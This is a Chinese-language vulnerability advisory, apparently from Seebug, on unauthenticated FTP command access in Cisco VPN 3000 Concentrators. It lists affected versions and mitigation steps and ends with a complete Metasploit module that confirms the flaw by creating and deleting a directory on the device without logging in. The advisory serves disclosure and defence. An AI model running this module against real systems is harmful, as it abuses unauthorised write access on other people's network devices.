Cisco VPN 3000 Concentrator FTP任意文件访问漏洞

2006-12-1100:00:00

Root

www.seebug.org

JSON

Cisco VPN 3000 Concentrator是一款VPN网络通信解决方案。
Cisco VPN 3000 Concentrator通过FTP进行文件管理时存在问题，远程攻击者可以利用漏洞以FTP服务进程上下文访问任意文件。
Cisco VPN 3000系列可配置使用FTP协议管理存储在集中器上的文件，如配置文件和证书，文件可以被上传或下载。
当FTP起用为文件管理协议时存在两个漏洞，通过执行如下FTP命令可利用这些漏洞：

CWD

MKD

CDUP

RNFR

SIZE

RMD

要查看更详细的漏洞描述，可参考如下链接(注册用户可查看)：
http://www.cisco.com/pcgi-bin/Support/Bugtool/onebug.pl?bugid=CSCse10733
http://www.cisco.com/pcgi-bin/Support/Bugtool/onebug.pl?bugid=CSCse10753

Cisco VPN 3080 Concentrator 4.7.2 F
Cisco VPN 3080 Concentrator 4.7.2 A
Cisco VPN 3080 Concentrator 4.7.2 A
Cisco VPN 3080 Concentrator 4.7.1 F
Cisco VPN 3080 Concentrator 4.7.1
Cisco VPN 3080 Concentrator 4.7
Cisco VPN 3080 Concentrator 4.1.7 L
Cisco VPN 3080 Concentrator 4.7 REL
Cisco VPN 3080 Concentrator
Cisco VPN 3060 Concentrator 4.7.2 A
Cisco VPN 3060 Concentrator 4.7.2 A
Cisco VPN 3060 Concentrator 4.7.2
Cisco VPN 3060 Concentrator 4.7.1 F
Cisco VPN 3060 Concentrator 4.7.1
Cisco VPN 3060 Concentrator 4.7
Cisco VPN 3060 Concentrator 3.5.2
Cisco VPN 3060 Concentrator 4.7 REL
Cisco VPN 3060 Concentrator
Cisco VPN 3030 Concentrator 4.7.2 F
Cisco VPN 3030 Concentrator 4.7.2 A
Cisco VPN 3030 Concentrator 4.7.2
Cisco VPN 3030 Concentrator 4.7.1 F
Cisco VPN 3030 Concentrator 4.7.1
Cisco VPN 3030 Concentrator 4.7
Cisco VPN 3030 Concentrator 4.1.7 L
Cisco VPN 3030 Concentrator 4.0.2
Cisco VPN 3030 Concentrator 4.0.2
Cisco VPN 3030 Concentrator 4.7 REL
Cisco VPN 3030 Concentrator
Cisco VPN 3020 Concentrator 4.7.2 F
Cisco VPN 3020 Concentrator 4.7.2 A
Cisco VPN 3020 Concentrator 4.7.2
Cisco VPN 3020 Concentrator 4.7.1 F
Cisco VPN 3020 Concentrator 4.7.1
Cisco VPN 3020 Concentrator 4.7
Cisco VPN 3020 Concentrator 4.1.7 L
Cisco VPN 3020 Concentrator 4.7 REL
Cisco VPN 3020 Concentrator
Cisco VPN 3015 Concentrator 4.7.2 F
Cisco VPN 3015 Concentrator 4.7.2 A
Cisco VPN 3015 Concentrator 4.7.2
Cisco VPN 3015 Concentrator 4.7.1 F
Cisco VPN 3015 Concentrator 4.7.1
Cisco VPN 3015 Concentrator 4.7
Cisco VPN 3015 Concentrator 4.1.7 L
Cisco VPN 3015 Concentrator 4.7 REL
Cisco VPN 3015 Concentrator
Cisco VPN 3005 Concentrator 4.7.2 F
Cisco VPN 3005 Concentrator 4.7.2 A
Cisco VPN 3005 Concentrator 4.7.2
Cisco VPN 3005 Concentrator 4.7.1 F
Cisco VPN 3005 Concentrator 4.7.1
Cisco VPN 3005 Concentrator 4.7
Cisco VPN 3005 Concentrator 4.1.7 L
Cisco VPN 3005 Concentrator 4.0.1
Cisco VPN 3005 Concentrator 4.0
Cisco VPN 3005 Concentrator 3.6.7 F
Cisco VPN 3005 Concentrator 3.6.7 D
Cisco VPN 3005 Concentrator 3.6.7 C
Cisco VPN 3005 Concentrator 3.6.7 B
Cisco VPN 3005 Concentrator 3.6.7 A
Cisco VPN 3005 Concentrator 3.6.7
Cisco VPN 3005 Concentrator 3.6.5
Cisco VPN 3005 Concentrator 3.6.3
Cisco VPN 3005 Concentrator 4.7 REL
Cisco VPN 3001 Concentrator
Cisco VPN 3000 Concentrator 4.7.1 F
Cisco VPN 3000 Concentrator 4.7.1
Cisco VPN 3000 Concentrator 4.7
Cisco VPN 3000 Concentrator 4.1.5 .B
Cisco VPN 3000 Concentrator 4.1 .x
Cisco VPN 3000 Concentrator 4.0.5 .B
Cisco VPN 3000 Concentrator 4.0.1
Cisco VPN 3000 Concentrator 4.0 .x
Cisco VPN 3000 Concentrator 4.0
Cisco VPN 3000 Concentrator 3.6.7 D
Cisco VPN 3000 Concentrator 3.6.7
Cisco VPN 3000 Concentrator 3.6.1
Cisco VPN 3000 Concentrator 3.6
Cisco VPN 3000 Concentrator 3.5.5
Cisco VPN 3000 Concentrator 3.5.4
Cisco VPN 3000 Concentrator 3.5.3
Cisco VPN 3000 Concentrator 3.5.2
Cisco VPN 3000 Concentrator 3.5.1
Cisco VPN 3000 Concentrator 3.5 (Rel)
Cisco VPN 3000 Concentrator 3.1.4
Cisco VPN 3000 Concentrator 3.1.2
Cisco VPN 3000 Concentrator 3.1.1
Cisco VPN 3000 Concentrator 3.1 (Rel)
Cisco VPN 3000 Concentrator 3.1
Cisco VPN 3000 Concentrator 3.0.4
Cisco VPN 3000 Concentrator 3.0.3 (B)
Cisco VPN 3000 Concentrator 3.0.3 (A)
Cisco VPN 3000 Concentrator 3.0
Cisco VPN 3000 Concentrator 3.0
Cisco VPN 3000 Concentrator 2.5.2 (F)
Cisco VPN 3000 Concentrator 2.5.2 (D)
Cisco VPN 3000 Concentrator 2.5.2 ©
Cisco VPN 3000 Concentrator 2.5.2 (B)
Cisco VPN 3000 Concentrator 2.5.2 (A)
Cisco VPN 3000 Concentrator 2.0
Cisco VPN 3000 Concentrator 4.1.7.B
Cisco VPN 3000 Concentrator 4.1.7.A

不受影响系统
Cisco VPN 3080 Concentrator 4.7.2 G
Cisco VPN 3080 Concentrator 4.1.7 M
Cisco VPN 3060 Concentrator 4.7.2 G
Cisco VPN 3060 Concentrator 4.1.7 M
Cisco VPN 3030 Concentrator 4.7.2 G
Cisco VPN 3030 Concentrator 4.1.7 M
Cisco VPN 3020 Concentrator 4.7.2 G
Cisco VPN 3020 Concentrator 4.1.7 M
Cisco VPN 3015 Concentrator 4.7.2 G
Cisco VPN 3015 Concentrator 4.1.7 M
Cisco VPN 3005 Concentrator 4.7.2 G
Cisco VPN 3005 Concentrator 4.1.7 M
Cisco VPN 3000 Concentrator 4.7.2 G
Cisco VPN 3000 Concentrator 4.1.7 M

可参考如下链接下载修补了此漏洞的版本(注册用户可访问)：
<a href=“http://www.cisco.com/pcgi-bin/tablebuild.pl/vpn3000-3des?psrtdcat20e2” target=“_blank”>http://www.cisco.com/pcgi-bin/tablebuild.pl/vpn3000-3des?psrtdcat20e2</a>
或者通过WEB管理接口：
<a href=“https://<IP” target=“_blank”>https://<IP</a> address of concentrator>/admin/
登录后进入"Configuration | System | Management Protocols | FTP"，勾去"Enable"。


                                                ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access',
      'Description'    => %q{
        This module tests for a logic vulnerability in the Cisco VPN Concentrator
        3000 series. It is possible to execute some FTP statements without authentication
        (CWD, RNFR, MKD, RMD, SIZE, CDUP). It also appears to have some memory leak bugs
        when working with CWD commands. This module simply creates an arbitrary directory,
        verifies that the directory has been created, then deletes it and verifies deletion
        to confirm the bug.
      },
      'Author'		=> [ 'patrick' ],
      'License'		=> MSF_LICENSE,
      'References'	=>
        [
          [ 'BID', '19680' ],
          [ 'CVE', '2006-4313' ],
          [ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20060823-vpn3k.shtml' ],
          [ 'OSVDB', '28139' ],
          [ 'OSVDB', '28138' ],
        ],
      'DisclosureDate' => 'Aug 23 2006'))

    register_options(
      [
        Opt::RPORT(21),
      ], self.class)
  end

  def run
    connect
    res = sock.get_once
    if (res and res =~ /220 Session will be terminated after/)
      print_status("Target appears to be a Cisco VPN Concentrator 3000 series.")

      test = Rex::Text.rand_text_alphanumeric(8)

      print_status("Attempting to create directory: MKD #{test}")
      sock.put("MKD #{test}\r\n")
      res = sock.get_once(-1,5)

      if (res =~/257 MKD command successful\./)
        print_status("\tDirectory #{test} reportedly created. Verifying with SIZE #{test}")
        sock.put("SIZE #{test}\r\n")
        res = sock.get_once(-1,5)
        if (res =~ /550 Not a regular file/)
          print_status("\tServer reports \"not a regular file\". Directory verified.")
          print_status("\tAttempting to delete directory: RMD #{test}")
          sock.put("RMD #{test}\r\n")
          res = sock.get_once(-1,5)
          if (res =~ /250 RMD command successful\./)
            print_status("\tDirectory #{test} reportedly deleted. Verifying with SIZE #{test}")
            sock.put("SIZE #{test}\r\n")
            res = sock.get_once(-1,5)
            print_status("\tDirectory #{test} no longer exists!")
            print_status("Target is confirmed as vulnerable!")
          end
        end
      end
    else
      print_status("Target is either not Cisco or the target has been patched.")
    end
    disconnect
  end
end

JSON